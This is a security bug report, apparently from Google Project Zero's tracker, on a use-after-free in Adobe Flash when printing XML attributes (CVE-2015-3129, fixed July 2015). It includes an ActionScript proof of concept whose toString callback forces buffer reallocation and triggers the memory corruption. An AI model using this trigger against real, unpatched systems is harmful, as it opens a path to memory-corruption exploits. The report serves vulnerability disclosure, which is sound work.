New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Email to this user bounced
Closed: Jul 2015
Cc:



Sign in to add a comment
Adobe Flash: Use-after-free when printing XML Attributes
Project Member Reported by natashenka@google.com, May 5 2015 Back to list
If an XML attribute is set to an object that has toString defined, it can lead to a use-after-free condition if the toString function adds many attributes to the XML object while it is being printed. This happens because adding extra attributes eventually causes the buffer that contains the object variables to be reallocated. 

A minimal proof of concept is as follows:

var doc:XML = new XML("<mytag name='Val'> item </mytag>");
trace(doc.firstChild.attributes.name); // Val
trace (doc.firstChild); // <mytag order="first" name="Val"> item </mytag>

var n = {toString : s, valueOf : s};

for (attr in doc.firstChild.attributes) {
    trace (attr + " = " + doc.firstChild.attributes[attr]);
}

var q = doc.firstChild.attributes;
for(var i = 0; i < 100; i++){
	q[i] = "t"; // Make the var buffer big, so it doesn't immediately get reallocated as a simple object (which zeros its values)
	}
trace(doc.toString());
doc.firstChild.attributes.natalie = n;
trace(doc.toString());

function s(){
	
	trace("hello");
	doc.firstChild.attributes.order1 = "a";
	doc.firstChild.attributes.name2 = "a";
	doc.firstChild.attributes.natalie1 = "a";
	doc.firstChild.attributes.order3 = "a1";
	doc.firstChild.attributes.b = "a2";
	doc.firstChild.attributes.order;
	var q = doc.firstChild.attributes;
	for(var i = 0; i < 1000; i++){
		q[i] = "t";
		
		}
	return "myString";	
	}

A sample swf and fla are attached. This PoC only works on 64-bit Linux (probably due to pointer size affecting what gets reallocated in the freed area), but the use-after-free condition should occur on all platforms.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
xmlattribs.fla
4.8 KB Download
xmlattribs.swf
914 bytes Download
Project Member Comment 1 by natashenka@google.com, May 6 2015
This is PSIRT-3656
Comment 2 by cevans@google.com, Jul 5 2015
Labels: CVE-2015-3129
Comment 3 by cevans@google.com, Jul 9 2015
Labels: Fixed-2015-Jul-8
Status: Fixed
Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html
Project Member Comment 4 by natashenka@google.com, Aug 3 2015
Labels: -Restrict-View-Commit
Sign in to add a comment